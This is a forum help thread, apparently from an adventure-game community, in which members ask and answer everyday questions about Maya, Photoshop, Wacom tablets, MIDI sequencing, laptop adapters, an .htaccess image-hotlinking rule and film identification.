I keep trying to render an image of something I've modeled in Maya 2013 but it keeps rendering in polygon instead of the smooth surfaces (NURBS? or whatever it's called). Is there a setting I'm missing?

Edit: Bah! I'm an idiot. I didn't realize pressing 3 was any different from Mesh > Smooth. But it worries me there's no turning back once you've smoothed it..
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Post by: straydogstrut on 08 Dec 2012, 19:30
Sooo I'm flying off to New York a week on Monday for a little pre-Christmas holiday!! :grin:

Aside from the usual tourist traps, and geeking out on the feeling of being in a CSI episode, has anyone been to the Big Apple who can perhaps recommend some places to go/things to do etc?
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Post by: KodiakBehr on 09 Dec 2012, 02:21
I'm not from New York (or the US, for that fact), but I pass through New York regularly, and to this day, cannot walk through Central Park without hearing that "chung chung" noise from Law and Order.  Sorry.

I suggest finding eats in Greenwich Village, you're spoiled for choice there.  Do take the opportunity to visit the Intrepid Air and Space Museum -- well worth it.  I would personally recommend not visiting the Statue of Liberty directly, you'll get some great photo ops from the Staten Island Ferry instead.  For night-life, there are some great "secret" bars and lounges if you reserve in advance.  I can give you a few tips on those.  Remember that if you're on Manhattan, MetLife stadium is only accessible from Penn Station via the New Jersey line, and it's not easy to find that particular track.  That said, it's almost never worth taking a cab!

I think NickyNyce is from New York, and probably has his own views.
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Post by: Buckethead on 10 Dec 2012, 21:22
Hey.

I keep trying to render an image of something I've modeled in Maya 2013 but it keeps rendering in polygon instead of the smooth surfaces (NURBS? or whatever it's called). Is there a setting I'm missing?

Edit: Bah! I'm an idiot. I didn't realize pressing 3 was any different from Mesh > Smooth. But it worries me there's no turning back once you've smoothed it..

You need something called Soften/harden edges. It has been a while since I've used Maya so I can't really remember how it works. But hopefully it points you in the right direction.
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Post by: GoldenBomb on 11 Dec 2012, 14:46
Hey! I have a logitech non working mouse (wireless) and a camera that accepts a usb port.. then i was wondering... why not ask someone if they knew how I could connect the usb from within the mouse to the camera:D do u guys know if its even possible? i wanna use a logitech 5235 mouse for the project.. (and btw the camera only accepts mini-usb but im using an adapter to connect it to my Mac and it works as a webcam:) Needs answers quick, thanks!
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Post by: Stee on 11 Dec 2012, 15:01
How about connecting the mouse to the pc via usb?
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Post by: Frito Master on 11 Dec 2012, 18:03
Not sure if I'm understanding this right but I don't think that would work.
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Post by: amateurhour on 11 Dec 2012, 20:53
Are you saying you want to use the wireless mouse dongle to send pictures to the computer wireless? That won't work.     
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Post by: Khris on 12 Dec 2012, 12:09
I'm reminded of when my boss tried to connect an ancient tape backup device which had a 25 pin serial plug to a PC using a modem cable (25 to 9 pin) and a 9 pin to usb mouse adapter. Never mind that the cable's configuration would have to be exactly right by accident and that you'd need usb drivers for the device (which obviously didn't exist).

And a few days ago, the husband of a client made their apartment go dark because when trying to fix the cable of a floor lamp he had accidentally cut while unwrapping the lamp, he couldn't be bothered to connect the wires to each other separately and put them all together inside the screw joint.

Sooo, let me get this straight, because I can't make heads or tails of your post: do you want to "fix" the mouse? By connecting the mouse's wireless dongle to the camera's usb port? How would you then connect the camera to the PC?
I'm curious how your "project" will turn out, keep us posted.
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Post by: Frito Master on 13 Dec 2012, 01:14
I'm reminded of when my boss tried to connect an ancient tape backup device which had a 25 pin serial plug to a PC using a modem cable (25 to 9 pin) and a 9 pin to usb mouse adapter. Never mind that the cable's configuration would have to be exactly right by accident and that you'd need usb drivers for the device (which obviously didn't exist).

And a few days ago, the husband of a client made their apartment go dark because when trying to fix the cable of a floor lamp he had accidentally cut while unwrapping the lamp, he couldn't be bothered to connect the wires to each other separately and put them all together inside the screw joint.

Sooo, let me get this straight, because I can't make heads or tails of your post: do you want to "fix" the mouse? By connecting the mouse's wireless dongle to the camera's usb port? How would you then connect the camera to the PC?
I'm curious how your "project" will turn out, keep us posted.

/LAFF
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Post by: Nikolas on 15 Dec 2012, 20:48
Say...

A couple of questions, mostly gathering opinions I guess:

1. I'm about to send various emails to magazines, etc. I have their emails and phone numbers. Should I call first and then email, or email and then call to check up (after some reasonable time has passed)?

2. This email should be straight forward text? With some html inside (links for example and an image as signature)? A full fledged html mail (with images, links, videos, etc? Like a newsletter type of thing)?

Comments?
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Post by: Jaffles on 16 Dec 2012, 19:55
Does anyone know of a good tutorial for drawing walkcycles up and down? (i.e. towards the player and away)

All the ones I could find were side-to-side.

Thanks!
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Post by: miguel on 20 Dec 2012, 12:24
Hi guys!
I've been using paypal to send money and until recently it has worked fine. Now, it started acting stupid and declining sendings due to my card. I went to my bank and checked what I already knew: all is okay and my credit limit is fine.
Paypal can't fix it and while googling for similar situations I found that it happens a lot to people.
I'm considering mooneybookers, any advice on them?
Thanks!
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Post by: selmiak on 23 Dec 2012, 18:15
I'm inside and can't find my keys! Help!
And also missing a shoe since yesterday :P
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Post by: Tabata on 23 Dec 2012, 19:15
I'm inside and can't find my keys! Help!
And also missing a shoe since yesterday :P
No need to worry - that is normal!
(in prison) (laugh)
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Post by: Ghost on 23 Dec 2012, 19:48
I'm considering mooneybookers, any advice on them?
Thanks!

I may not be the best person to ask, since I don't do any online banking at all, but from what I've heard their service isn't that great. Friends told me that in several cases orders were not processed and customer service wasn't too good too, often taking a week until an answer came.
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Post by: cat on 08 Jan 2013, 12:17
I have a Wacom tablet that I currently use with a 4:3 monitor. However, I would like to have a larger monitor or two smaller ones but then it won't fit the resolution of the tablet anymore. When I use a second monitor it works fine, but I can only use a small area of the tablet because the desktop is directly mapped on it. Not sure if anyone understands what I want to say? To cut a long story short: How can I use a widescreen monitor or even a dual monitor setup while still using the full area of my tablet?
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Post by: miguel on 08 Jan 2013, 12:32
Thanks Ghost. I sorted out things with paypal and never had to use moneybookers after all.
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Post by: Anian on 08 Jan 2013, 12:45
I have a Wacom tablet that I currently use with a 4:3 monitor. However, I would like to have a larger monitor or two smaller ones but then it won't fit the resolution of the tablet anymore. When I use a second monitor it works fine, but I can only use a small area of the tablet because the desktop is directly mapped on it. Not sure if anyone understands what I want to say? To cut a long story short: How can I use a widescreen monitor or even a dual monitor setup while still using the full area of my tablet?
Is this a 4:3 tablet? Because there is an option in the the tablet settings to turn a 16:10 area (which the tablet has) into a 4:3 by basically making a part (on the side) of the tablet surface unresponsive (it reduces the area that's active so it fits with 4:3 resolution). You can change the area of the monitor and the tablet. I'm not sure if 4:3 tablets can turn into 16:10 though, but you can change all kinds of things.

I have a Bamboo and the option to change this is in Control Panel under "Bamboo Preferences", so check there. Then you go on Pen and there should be a button Mapping, set it from there. There might be a way to set up things automatically, but I had to go there and change the tablet area (reduce the height) and then I checked by drawing a circle in Paint, it's best to use something like a cd hole to make sure that you're drawing a circle). You lose a milimeter or two in the height but at at least it stops you from thinking you're crazy (for a month of so I was just puzzled why I couldn't copy drawings from paper properly. :-D

Again, I'm not quite sure what you're asking here, so I hope that helps.
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Post by: cat on 08 Jan 2013, 13:32
Actually, this disabling of the surface was done automatically when connecting a second monitor. But the height was so much reduced, that I only had a few centimeters in height to draw. This renders the tablet almost useless.
Is it possible, to fix the tablet for example on one of the monitors and use a mouse for the other monitor? I don't want to loose much of the tablet surface. Or can I remap the tablet surface so it is stretched in width (or is that what you meant in your post?)
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Post by: Anian on 08 Jan 2013, 13:40
I'm not quite sure, I don't have dual monitor set up and also have about 10cm to draw anyway. There is a setting there for choosing the monitors, so I'm guessing you can choose just 1 to work with a tablet. Many people who design and draw use 2 monitors, so it should be made for such things.
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Post by: Khris on 08 Jan 2013, 18:43
It should be possible to map the tablet to the screen(s) in any way you want. Just look through the options in the tablet's properties. (I did this exactly once a few years back, but I distinctly remember being able to move and resize the tablet area inside the desktop area.)
Here's a video for an Intuos5, the procedure should be similar with other Wacom tablets:
t=133s

Tablets map to the desktop in an absolute fashion (as opposed to the mouse, which transfers movement to the cursor), so mapping the tablet to just one monitor is perfectly possible and should be extremely simple to set up.
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Post by: cat on 08 Jan 2013, 20:59
Thanks for your help, I found the hidden menu where this is set. Dual-screen setup, here I come!
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Post by: selmiak on 21 Jan 2013, 01:29
I have an animated gif and use save for web in photoshop but somehow the used frames don't disappear and are shown under the new frames. There is transparency in the gif and so you can see the old frames. When I save it with background it works fine. In photoshop only one layer is shown per frame and there are no settings left to check... how can I make the gif refresh the canvas?
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Post by: Anian on 21 Jan 2013, 10:24
I have an animated gif and use save for web in photoshop but somehow the used frames don't disappear and are shown under the new frames. There is transparency in the gif and so you can see the old frames. When I save it with background it works fine. In photoshop only one layer is shown per frame and there are no settings left to check... how can I make the gif refresh the canvas?
I haven't tried this, but I think you're suppose to add an alpha channel into each frame then save as gif, that way Photoshop overwrites everything for each frame.

On a more practical level, you might not have checked the box for Transparency (in the Save for web and devices panel). I've just tried with and without this checked and when I try without, the animation leaves a certain trail. Also you have to choose No transparency dither in the dropdown menu right below the the Transparency check box just to make sure (gifs don't have transparency blending, it's either 100% or 0%).
Also uncheck the Interlaced option just to be sure.

I found for GIMP there's two solutions depending on the version:
- by choosing from "Frame disposal where unspecified" option "One frame per layer (replace)"
- For the current version (2.8.0), in the name for each frame layer, include (replace). For example: 
Code: Adventure Game Studio
  1. frame 1(250ms)(replace)
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Post by: selmiak on 21 Jan 2013, 11:13
thanks for your help, but it didn't work that way.
Only saving it as gif with background, then copying every frame from the animated gif into a new file, removing the background and animating it again did the trick. When saving as gif with background, then just removing the background and save it as an animated gif again still had the trails were in the final gif. And when saving as animated gif without a background the trails were there in every frame, even when opening the animated gif in Photoshop, creepy stuff. I don't know why this happened but now it works. Stupid workaround, I'd prefer a checkbox in the save for web dialog that ask to refresh every frame or something like that.
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Post by: bicilotti on 28 Jan 2013, 11:32
So, I am turning into an hipster and decided to make some hipster music.

What I basically I am looking for is to sequence a series of sound (rain, footsteps, things like that).

Since what I need is basic sequencing plus some other simple features (panning, sound envelope), I thought of using MIDI. To describe the process more thoroughly:

     0. recording some sound
     1. write MIDI with some kind of language (let's say, using a Haskell library)
     2. making the MIDI score play using said sounds
     3. record the mess

What am I unsure about (and what I am asking you): is it possible to 'plug' a virtual instrument to a MIDI score? Let's say I want to play a .wav file instead of a crappy synth piano, how to tell that to MIDI? Do I have to build a MIDI instrument? How so?

Basically I want to do what people did with fastrackerII and the like (sequence my own sound). I'd choose MIDI only because there are a throng of libraries out there for MIDI.

tl;dr: plug a particular instrument to a MIDI score? Possible? How so?
   
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Post by: Problem on 28 Jan 2013, 12:47
If it has to be MIDI, you could try to create soundfonts (http://en.wikipedia.org/wiki/Soundfont) from your recorded samples and play your MIDI file using a soundfont player. I guess there are several tools you can use to create a soundfont. For example there is a tool called "Viena" on http://www.synthfont.com/.

I'm not sure if I got you right, but why do want to create the MIDI score with a programming language? Wouldn't a sequencer software do it?
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Post by: bicilotti on 28 Jan 2013, 13:11
[...]
I'm not sure if I got you right, but why do want to create the MIDI score with a programming language? Wouldn't a sequencer software do it?

Thanks Problem, much appreciated!

Yes, I want to create a MIDI score with a programming language, because the music I have in mind is pretty much algorithmic (e.g.: I can compute fibonacci and other series and dump it in the MIDI).
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Post by: Stupot on 11 Feb 2013, 23:01
My laptop just died on me.  This is the worst timing ever, as I am trying to find work and have no money to buy a new one.
There are a couple of things I want to try to make sure it is actually the laptop that has died and not just the adaptor or something (my laptop runs only through the mains because its own battery is dead).

The question is.  If you were me, would you risk testing your adaptor on someone else's laptop?  I know this is ill-advised, but I'm kind of desperate.  My mum's laptop and mine have the same 'input' details on the adaptor (100-240V~1.5A 50-60Hz), but the 'output' is slightly different, mine is 20V and 3.25A compared to her 19V and 3.75A. All I would do is test it for like ten seconds to see if any power comes out of it.

One possibilty (which I hope is the case) is the fuse has just blown which I could easily replace, but I can't find a screwdriver at the moment due to them being cleverly stashed in a storage container with most of our stuff while we sell the house.  But if it's not the fuse, or the adaptor, then it's the laptop, which is the worst thing that could happen to me right now.

Anyway, I'd appreciate any thoughts from you guys.  I did a brief online search and results ranged from people who  were adamant that you must never use another adaptor or the world will end to others who said it was absolutely fine as long as the numbers were similar... so I don't really know where I stand.

Cheers.
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Post by: Khris on 12 Feb 2013, 00:31
The voltage has to be really close; it can be slightly more than supposed to; if it's too little, the device will usually just refuse to work, not break.
Connecting a 20V adapter to a 19V device should be fine, although for microelectronics it's a different story than for electric devices.

As for the amperes, less won't do but more is fine as long as both are roughly in the same magnitude; connecting a 4A adapter to a 3A device is fine; the device will simply use only 3 of the provided 4.

BUT: don't connect it to the other laptop yet, get yourself a volt/ampere meter and measure its output instead.

Also, given that connecting your mom's adapter to your own laptop is much safer, I'd try that instead. (lower voltage, enough ampere, also I guess a broken adapter breaking a laptop is much more likely than a broken laptop breaking the adapter)
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Post by: Stupot on 12 Feb 2013, 01:03
Thanks for your advice Khris.  I'm going to have to think long and hard before I try anything.  I simply can't afford to replace my own laptop, not even with a cheap one, and I would be out on my ear if I broke mum's, which is already riddled with adware and has to repair and restore every other day.
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Post by: InCreator on 07 Mar 2013, 04:02
Does anyone know how does CG mastery happen?
I mean these breathtaking 3D and 2D digital painted pictures found in 3dtotal.com or cgsociety.org... how did those people achieve such incredible levels?

I do believe that I can draw and model, yet at my very best, it feels like millenia of endless training away compared to what those people do.
And they dare to call their work imperfect, while yet feels like something impossible for human to do.
Are art schools/courses truly that effective or do those artists just have insane amount of talent and free time?
Some of those people reside among us -- here, too.
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Post by: Anian on 07 Mar 2013, 04:44
Are art schools/courses truly that effective or do those artists just have insane amount of talent and free time?
Some of those people reside among us -- here, too.
FZD (the storyboard/concept artist) commented on this in one video, what basically happens with those people that go to specific art schools (the ones dedicated to design etc.) is that they take the students with most perspective and then push. The comment was on the fact that how people have these awesome portfolios - because they make about 2-3 paintings per day (some just speedpaints, some get fully finished), every day. Then they do that for 2 years or more with constant guidance, correcting their style and techniques with each work.
He further explains that if you want to compete, that is the only way to do it and that you can't expect to compete if you do a painting a week and just work work work.
  (there are a lot of videos in that channel, check them out)

Some 3d stuff makes me speachless, especially since I know the basics much better than 2d art. There are things I find I can do as well (some things are just a matter of detailing), but then there are those zbrush sculpts that just blow me away.


 
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Post by: Daniel Thomas on 10 Mar 2013, 11:04
Does anyone know how does CG mastery happen?
Here is my point of view on this:

Might look like a joke, but it's more then less true
(http://i1342.photobucket.com/albums/o768/PA_ARTISTS/PA%20Intro/1292182343504_zpsc045382c.jpg)

No, I don't think you need any formal education.. But you can't expect to draw/paint/design something you don't understand, so you do need to study and understand. Attending to classes/courses/activities helps a lot since you can have a more experienced artists(teachers) point out what you need to work on, and of course they share their knowledge and have a plan for you(the class) how to achieve and understand what ever it is you're trying to learn.

The master artist who create those breath taking pieces has it all, knowledge, skill, devotion. It's not really about be able to handle a pen, even those 3D Sculpts the artist has a excellent understanding of anatomy and aesthetics, it's not about the tools but the knowledge and experience he puts in to his art piece.
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Post by: Anian on 13 Mar 2013, 19:04
So I'm looking for a movie/series, sf in nature. The plot was connected to a teleport device where stuff did teleport (or maybe just disappear and then reappear, can't remember exactly), but with a delay. Soon the main characters figure out that stuff actually goes into another dimension or something similar.
If anybody might know the name of this, would be appreciated. It's probably something obvious, but it just escapes me for the last two days. :(
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Post by: Khris on 13 Mar 2013, 21:25
That reminds me vaguely of Michael Crichton's Timeline. (Tech Company builds teleportation device, accidentally discovers time travel, Archeology students in France go back in time to the hundred years war to rescue their professor.) Pretty cool book, mediocre but enjoyable movie with Paul Walker.
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Post by: Anian on 13 Mar 2013, 22:46
That reminds me vaguely of Michael Crichton's Timeline. (Tech Company builds teleportation device, accidentally discovers time travel, Archeology students in France go back in time to the hundred years war to rescue their professor.) Pretty cool book, mediocre but enjoyable movie with Paul Walker.
Heh, I actually have the book and the movie wasn't all that good. But no, it's not that.
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Post by: Gilbert on 14 Mar 2013, 01:39
BTW Timeline was featured in the movie guessing (http://www.adventuregamestudio.co.uk/forums/index.php?topic=44093.msg615230#msg615230) thread, and no, I didn't enjoy this crap movie either.
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Post by: Sylvr on 31 Mar 2013, 21:46
I have an unimportant trivia-finding question:

What is the longest this forum has gone between new members joining?
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Post by: bicilotti on 02 Apr 2013, 16:08
So, I have a question for web programmers.

I have a small website (+ space); I would like to upload some photos to share them with friends. As those pics are meant to be private, I was fiddling with some authentication method to allow only folks with user/psw see the pics.

Problem: I have no problem "blocking" unauthorised access to, say, example.com/picpage.php .
But what about example.com/pic01.jpg ? <-- This loads the picture without invoking any javascript/php/html, so it is effectively bypassing the login.

I asked a friend and he told me every client request sends headers, so it should be possible to 'vet' the request before serving the resource. But I don't know how to check those when the resource asked is a .png instead of .php .

Maybe with apache config?
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Post by: Khris on 02 Apr 2013, 16:26
Something like this in your .htaccess should do the trick:

# Turn on the RewriteEngine
RewriteEngine On

#prevent outside image access
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?domain.com/.*$ [NC]
RewriteRule .*\.(gif|jpe?g|png)$ http://domain.com/no_hotlink.gif [R,NC,L]


This will redirect all image file requests not originating from within *.domain.com to http://domain.com/no_hotlink.gif
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Post by: Cerno on 09 Apr 2013, 18:27
So I'm looking for a movie/series, sf in nature. The plot was connected to a teleport device where stuff did teleport (or maybe just disappear and then reappear, can't remember exactly), but with a delay. Soon the main characters figure out that stuff actually goes into another dimension or something similar.
If anybody might know the name of this, would be appreciated. It's probably something obvious, but it just escapes me for the last two days. :(

You're not talking about Primer, are you?
Awesome movie, that. But it's more about time travel than teleportation.
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Post by: Anian on 09 Apr 2013, 19:09
You're not talking about Primer, are you?
Awesome movie, that. But it's more about time travel than teleportation.
I don't think so, unless it was from the beginning of Primer or something.
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Post by: Cerno on 09 Apr 2013, 19:25
I guess it's not it then.

Primer is about two guys who spend their off-time inventing stuff in their garage and inadvertently invent time travel.
The time travel mechanism is really complex and very hard to grasp on the first few viewings
Since you put in stuff in one end of the machine and take it out at the other, your description kind of reminded me of that. On second thought, that's not similar at all.  :undecided:

But the movie is very realistic, has a very unique time travel mechanic and achieved an impressively professional result on the very tight budget of $7000.

Anyway, sorry, can't help with your question ;)
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Post by: kconan on 24 May 2013, 03:15
What is the largest scrolling room size (in pixels) ever used in an AGS game?
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Post by: Ponch on 24 May 2013, 03:23
What is the largest scrolling room size (in pixels) ever used in an AGS game?

Well, in Barn Runner: The Rich Dame Who Cut The Cheese...
I used one that was 6,560 pixels wide.
Do I win a prize?
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Post by: Anian on 31 May 2013, 11:41
There's a boom of Kickstarter projects and something is f-ed up with it's videos (the ones on the front page of each project). I've tried in Chrome (which is updated) and FF, but both give me just a picture instead of a button and video player.
The weird thing is that if I press the "Embed" link below the video, I can play the videos from there and I can play videos which are linked (like from RPS or some other site). Which is really weird. I also can extract the link to the video file with Inspect element viewer and play it in a new tab (but this is really annoying).

Now it might have something to do with iframes and or html5 support check. In the Inspect element view I saw that the page checks if I have the html5 capable browser (which I should since it's the latest update of Chrome) and instead offers the .jpg (which is apparently what happens).
Oh, btw everything else, like youtube etc., works fine (as far as I am aware).

Now why I haven't tried googling this problem? Because if you f-in google anything with "kickstarter" you get just a bunch of project pages.
So anybody might know what the trouble is?
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Post by: Khris on 31 May 2013, 12:38
Have you tried updating your Flash player? It's definitely not Kickstarter's fault because everything works fine for me, in FF as well as Chrome.
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Post by: Anian on 31 May 2013, 12:42
Have you tried updating your Flash player? It's definitely not Kickstarter's fault because everything works fine for me, in FF as well as Chrome.
I've checked the version already and it's the latest.
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Post by: Khris on 31 May 2013, 15:38
Do you have a second Windows account on the same computer? Or try the guest account. Maybe it's due to some account specific setting.
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Post by: Anian on 31 May 2013, 15:54
Do you have a second Windows account on the same computer? Or try the guest account. Maybe it's due to some account specific setting.
Well if it's that, I'll probably leave it (nothing but trouble with multiple accounts in my experience). Since it's just Kickstarter, that's probably not that though, but thanks for the suggestions.

EDIT: well for some reason, today KS decided it will show the videos...for some reason.
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Post by: MiteWiseacreLives! on 03 Jun 2013, 18:34
You guys know of any way to restore to a previous save on a file?  Twice now I've gone a long ways into the same background and while saving the program crashed and destroyed the file. ARRRGGG!
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Post by: Monsieur OUXX on 05 Jun 2013, 22:32
I hate photoshop! Help me!

Once again, I'm baffled by Photoshop's weird behaviours at pixel-level. And I'm unable to find why it's acting like that.

I have Photoshop CS3. I've selected an area of a layer, using the magic wand and then finishing with the lasso. The "anti-alias" box is unticked. The tolerance is 0.

Then, I hit "del" to erase what's in the selected area.

That's where trouble kicks in: Despite "anti-alias" being unticked, it seems like Photoshop tries to smooth the deletion, and erases pixels OUTSIDE the selected area (some pixels located at the selected area's border, in every place there is dithering).
Additionally, it doesn't completely delete those extra-pixels. It just increases their transparency a little more every time I hit "del".

So, how do I make Photoshop strictly delete the pixels I've selected, all of them, only them, and completely? Like in any regular drawing application?

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Post by: Andail on 05 Jun 2013, 22:36
Did you you uncheck the aa box before drawing the mask?
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Post by: Anian on 05 Jun 2013, 22:58
Did you you uncheck the aa box before drawing the mask?
Yeah, that might be why.

Also, just additional info, you have options of Brush and Pen (Pen is of course for pixel art), but to erase you choose the eraser then change the Mode to Pencil in order to delete with a sharp edge.
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Post by: LimpingFish on 05 Jun 2013, 23:21
Would having Feathered selections (not sure it that's officially the term) have something to do with it?
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Post by: Monsieur OUXX on 06 Jun 2013, 08:05
Did you you uncheck the aa box before drawing the mask?
Oh yes, you're right, maybe i didn't do it in the correct order. I've been searching for the cause of the issue and tried many things so it got a bit mixed up.
But I had no idea the order was important, since in photoshop a lot of things are calculated on-the-fly (like the dropped shadows, etc.). Thus I thought one first drew the pixel-perfect outline and then Photoshop would do the corresponding processing depending on whether or not the box is ticked.

you have options of Brush and Pen (Pen is of course for pixel art), but to erase you choose the eraser then change the Mode to Pencil in order to delete with a sharp edge.
That's probably the reason!!!
That's why I hate photoshop: the interface isn't consistent with itself. So, when you want to draw the tool selection (brush or pencil) is in the main toolbar, but when you want to erase, there is a third tool (eraser) but it's redundant to the two others -- since you still have to select the mode, except this time you must choose the behaviour in the top-hand bar. AAAaaaargh!

Thanks a lot, that's a life saver.

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Post by: Anian on 06 Jun 2013, 08:19
Yeah this might be a bit confusing, but I think it was made so it's more accessible over keyboard shortcuts because it's mostly made for working on photographs and well it's interface clunkiness is nothing compared to Illustrator, with the Live Paint options and using the Knife tool etc. that's a freaking mess of some internal logic.
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Post by: MiteWiseacreLives! on 06 Jun 2013, 08:31
Just in case anyone is concerned about *my* problem >:(
After like the sixth time Artgem crashed while saving, I found I could take a screen shot and paste at least a bunch of my work into paint (including a nicely bordered "Windows has encountered a serious error" box). Saved me much frustration, for reference although no one uses Artgem...
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Post by: Ghost on 06 Jun 2013, 18:48
Help plz. I stumbled over a clip video while looking for an old Alice Cooper song. I realised that I can identify roughly 95% of the movies used to make this video. I am in hot pursuit of the remaining 5%.

Does someone recognise the movie clip shown at 0.25? I thought it was Clockwork Orange but it's been ages since I saw that one. Wouldn't fit with the theme, though.

[edit]

Question NOW with actual link to video  :-[

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Post by: DoorKnobHandle on 06 Jun 2013, 18:53
You forgot the video link! :)
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Post by: Khris on 06 Jun 2013, 19:00
I'm roughly 95% sure that's Clockwork Orange ;)
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Post by: Atelier on 06 Jun 2013, 19:02
Screen-shotted and did search by image - it is Clockwork Orange!
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Post by: Ghost on 06 Jun 2013, 19:17
Oh man. Now I feel stupid. Still, cool song. Thanks!  :P
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Post by: Anian on 06 Jun 2013, 19:37
Just in case anyone is concerned about *my* problem >:(
After like the sixth time Artgem crashed while saving, I found I could take a screen shot and paste at least a bunch of my work into paint (including a nicely bordered "Windows has encountered a serious error" box). Saved me much frustration, for reference although no one uses Artgem...
Well, you haven't actually said this happens to you in Artgem. I think InCreator and some other folks work in Artgem, so they might know, in general though, since it seems to be unstable on your OS, maybe change to ASE sprite editor, GIMP, Grafx2 or something similar?
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Post by: selmiak on 06 Jun 2013, 22:13
@Ghost: 100% sure it's clockwork orange. Alex breaking into the house of the cat lady and killing her with one of the huge porcellaine phalluses...
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Post by: MiteWiseacreLives! on 07 Jun 2013, 21:04
Yah Anian.. your probably right , maybe my harddrive is failing ??
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Post by: Snarky on 07 Jun 2013, 22:09
Did you you uncheck the aa box before drawing the mask?
Oh yes, you're right, maybe i didn't do it in the correct order. I've been searching for the cause of the issue and tried many things so it got a bit mixed up.
But I had no idea the order was important, since in photoshop a lot of things are calculated on-the-fly (like the dropped shadows, etc.). Thus I thought one first drew the pixel-perfect outline and then Photoshop would do the corresponding processing depending on whether or not the box is ticked.

Although Photoshop shows the selection as a "pixel-perfect" outline, that's just for display. The actual selection is made as you select, and can cover pixels partially, but the outline just marks pixels that are more than 50% selected. It's all done on the fly, so yeah, you have to set anti-aliasing the way you want it before you draw your selection. (It can sometimes be useful to turn the anti-aliasing options on and off as you're creating the selection, so some parts are anti-aliased and some are not.) With the "refine edge" option you can see which parts are fully and partially selected, and edit it further using filters etc. If you are deleting regions, it can also sometimes be useful to use layer masks rather than just raw selections.
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Post by: MJL on 24 Jun 2013, 16:14
Has anyone heard/experienced EXE's not loading with Win 7, particularly large ones (up to 1gb) - or freezing the OS on attempting to run/right click it? In this particular case it's an install file. I haven't found much about it and don't use Win 7 but I've been asked again recently and thought I'd ask amongst expert EXE clickers :) Thanks!
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Post by: Ghost on 24 Jun 2013, 16:21
Has anyone heard/experienced EXE's not loading with Win 7, particularly large ones (up to 1gb)

I had that with the Fallout3 expansions. Their exe is huge (over 1 Gig actually) and the system "froze" when I ran them.
I chalked it up to the DVD Drive and copied the file to disk to run it from there- again, system froze: but after a good ten minutes the file WAS executed.
Win7 on a 2.4 Dualcore with 4Gig of RAM.
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Post by: arj0n on 24 Jun 2013, 16:21
Has anyone heard/experienced EXE's not loading with Win 7, particularly large ones (up to 1gb) - or freezing the OS on attempting to run/right click it? In this particular case it's an install file. I haven't found much about it and don't use Win 7 but I've been asked again recently and thought I'd ask amongst expert EXE clickers :) Thanks!
Sometimes it might help to run the exe as admin (rightmousebutton) instead of just clicking them with the left mousebutton.
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Post by: MJL on 24 Jun 2013, 16:37
Thanks. You made me think it could be as simple as lack of space on HDD perhaps. Basically when trying to reach that right click 'run as' menu it's freezing this persons Explorer window or such. This isn't documented via google search in any capacity and I've not heard of it beyond these couple of contacts. I saw slightly similar symptoms from a virus once, but then all EXE's became unavailable to open. Not sure why just this one would (and it's worked fine for plenty of other people many of which on Win 7 I think). Strange one. Cheers Arjon!
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Post by: Ryan Timoothy on 28 Jun 2013, 04:09
I'm currently using Unity making a 3D test game for experimenting and learning. I have a question that I'm not sure what is appropriate. If you were to have a bunch of game objects, would it better to have each object with their own texture, or should I group textures with similar objects.

For instance if I made a desk and bookshelf that might show up in other rooms together, or sometimes separate, would I be better off grouping those two textures together, or having each separate?
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Post by: Theme on 28 Jun 2013, 06:51
I'm currently using Unity making a 3D test game for experimenting and learning. I have a question that I'm not sure what is appropriate. If you were to have a bunch of game objects, would it better to have each object with their own texture, or should I group textures with similar objects.

For instance if I made a desk and bookshelf that might show up in other rooms together, or sometimes separate, would I be better off grouping those two textures together, or having each separate?

It depends on the texture resolution quality you want. the bigger the texture, more ram it gets. But if the quality of the texture is ok for for both objects texture in one image them I guess it's better than have two textures loaded up in memory. But yah, grouping is ok.
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Post by: Monsieur OUXX on 28 Jun 2013, 19:41
Where's that recent thread about drawing and animation tools?

Hi all,

Very recently (one month ago at most?) there was a discussion that digressed into all the cool tools to draw in low-res and to animate.
The big advantage is that it was pointing to very modern and recent tools (unlike the sticky thread in the Critics Lounge subforum, that is very very old).

The thing is, I can't find that thread. Was it in Critics Lounge? Somewhere else? I promised myself I wouldn't lose it, but I did.
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Post by: Khris on 28 Jun 2013, 19:43
This one?
http://www.adventuregamestudio.co.uk/forums/index.php?topic=47860.0
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Post by: Monsieur OUXX on 28 Jun 2013, 21:24
http://www.adventuregamestudio.co.uk/forums/index.php?topic=47860.0

Yes! Thanks!
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Post by: Monsieur OUXX on 29 Jun 2013, 11:17
Photoshop: how to have only 100% opaque and 100% transparent pixels?

I'm looking for a process to do that as quickly as possible on as many layers as possible :
- I created an animation in Photoshop
- each frame is made of several layers
- each layer contains mostly 100% opaque pixels, surrounded by 100% transparent pixels BUT at the border there are some pixels that aren't 100% opaque. I want to make them 100% opaque or 100% transparent (and, only if possible , based on a threshold: less than 50% opaque becomes 0% opaque, more than 50% opaque becomes 100% opaque)

I don't know what's the best way to do that.
What would be amazing: if it were possible to do it at once for all visible layers (using the "merged" color of a pixel rather than the individual color of that pixel in each layer). But that would be asking too much... ;)

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Post by: Anian on 29 Jun 2013, 11:56
Monsieur, are you talking about Anti-alias settings?

Instead of Brush tool, use Pencil tool with 100% Hardness - if you're drawing Pencil tool is under the Brush tool icon (a sub-menu thing), but if you're using the Eraser then choose the Eraser tool and then in the horizontal menu where you set it up, there should be a drop-down menu and there choose Pencil, again 100% Hardness). Why they have different methods of setting this up? I don't know.
If you're painting using Marque Tool - put 0 px Feather and if it's a round Marque Tool put 0px Feather and un-check the Anti-alias box (it's right next to it).

Bad news is, I tried something now to make sure, Photoshop will keep that anti-alias edges even if you pull some tricks with selection and erasing. You can for example make a slightly bigger Circle Marque selection (with those 0px Feather and un-check anti-alias) around an already drawn circle and then fill it in, but I doubt were talking one circle here. So there is no way to fix except with redrawing.
Photoshop is mostly made for photograph editing, so pixel precise thing is not that developed (although you could do it with the settings I just gave you above).
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Post by: Khris on 29 Jun 2013, 11:59
There should be a way to edit the alpha channel and then basically just up the contrast, turning 0-49% transparency to 0% and the rest to 100%.
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Post by: Anian on 29 Jun 2013, 12:17
There should be a way to edit the alpha channel and then basically just up the contrast, turning 0-49% transparency to 0% and the rest to 100%.
Thing is that anti-alias is sort of built-in into an image (Photoshop does it independently of what you're doing to the colors and such), so it's a real hassle to really remove it.

If you use Image>Adjustment>Threshold you need to carefully adjust the settings and you'll probably get a black and white image and even then, threshold sometimes eats up pixel where it's not supposed to.
You can make a mask from thresholded selection:
1 what you can do I think is Ctrl and click on a layer (make it selected),
2 now go to Channel tab and make a new Channel (so it's black and white),
3 use Threshold on that layer in the Channel tab
